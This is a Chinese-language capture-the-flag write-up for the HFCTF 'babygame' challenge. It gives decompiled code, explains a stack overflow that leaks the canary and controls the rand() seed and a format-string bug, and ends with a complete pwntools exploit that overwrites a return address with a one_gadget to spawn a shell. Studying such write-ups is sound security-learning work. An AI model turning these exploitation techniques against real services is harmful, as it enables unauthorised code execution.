题目检查

全绿

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

分析

  • 首先进入main函数, buf存在栈溢出可以覆盖随机数种子并泄漏canary和一个栈地址,之后进入sub_1305函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[256]; // [rsp+0h] [rbp-120h] BYREF
  unsigned int v5; // [rsp+100h] [rbp-20h]
  int v6; // [rsp+104h] [rbp-1Ch]
  unsigned __int64 v7; // [rsp+108h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  ((void (__fastcall *)(__int64, char **, char **))((char *)&sub_1268 + 1))(a1, a2, a3);
  v5 = time(0LL);
  puts("Welcome to HFCTF!");
  puts("Please input your name:");
  read(0, buf, 0x256uLL);
  printf("Hello, %s\n", buf);
  srand(v5);
  v6 = sub_1305();
  if ( v6 > 0 )
    sub_13F7();
  return 0LL;
}
  • 猜数字的一个游戏, 连续赢100次返回1
__int64 sub_1305()
{
  int i; // [rsp+4h] [rbp-Ch]
  int v2; // [rsp+8h] [rbp-8h]
  int v3; // [rsp+Ch] [rbp-4h]

  puts("Let's start to play a game!");
  puts("0. rock");
  puts("1. scissor");
  puts("2. paper");
  for ( i = 0; i <= 99; ++i )
  {
    printf("round %d: \n", (unsigned int)(i + 1));
    v2 = rand() % 3;
    v3 = sub_129C();
    if ( v2 )
    {
      if ( v2 == 1 )
      {
        if ( v3 != 2 )
          return 0LL;
      }
      else if ( v2 == 2 && v3 )
      {
        return 0LL;
      }
    }
    else if ( v3 != 1 )
    {
      return 0LL;
    }
  }
  return 1LL;
}
  • sub_13F7函数, 存在一个格式化字符串漏洞, 可以实现任意地址读写
unsigned __int64 sub_13F7()
{
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Good luck to you.");
  read(0, buf, 0x100uLL);
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}

思路

利用main函数中对buf进行溢出, 覆盖随机数种子, 并泄漏canary和栈地址, 控制随机数种子后满足for循环要求100次, 成功进入sub_13F7函数后, 利用格式化字符串泄漏libc地址, 并控制sub_13F7函数的返回地址, 再次利用格式化字符串漏洞, 将main函数返回地址覆盖为one_gadget的地址

利用

from pwn import *
from ctypes import *

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './babygame'
elf = ELF(binary)
libc_path = './libc-2.31.so'
libc = ELF(libc_path)
libc_rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
rls     = lambda num=1              :p.recvlines(num)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

# overwrite seed, leak canary and rbp
pay = b'b'*0x100 + p64(0x1111111111111111) + b'A'
sa('Please input your name:\n', pay)
ru(b'b'*0x100)
ru('A')
canary = uu64(b'\x00'+r(7))
rbp = uu64(r(6))
log.success(hex(canary))
log.success(hex(rbp))

# set seed
libc_rand.srand(0x1111111111111111)

# play game
for i in range(100):
        ru('round ' + str(i+1) + ': \n')
        num1 = libc_rand.rand()
        if (num1 % 3) == 1:
                sl('2')
        elif (num1 % 3) == 2:
                sl('0')
        else:
                sl('1')

# offset = 6
# overwrite ret address
pay = b'%62c%8$hhn' + b'%27$p' 
pay = pay.ljust(0x10, b'a') + p64(rbp-0x218)
sla('Good luck to you.\n', pay)

# leak libc
ru('0x')
libc_base = int(r(12), 16) - 20 - libc.symbols['atoi']
log.success('libc_base ' + hex(libc_base))

# one_gadget
# 0xe3b2e, 0xe3b31, 0xe3b34
pay = fmtstr_payload(6, {rbp-0x218:libc_base+0xe3b31})
sla('Good luck to you.\n', pay)
itr()

# mark, learn ctypes and x64 fmt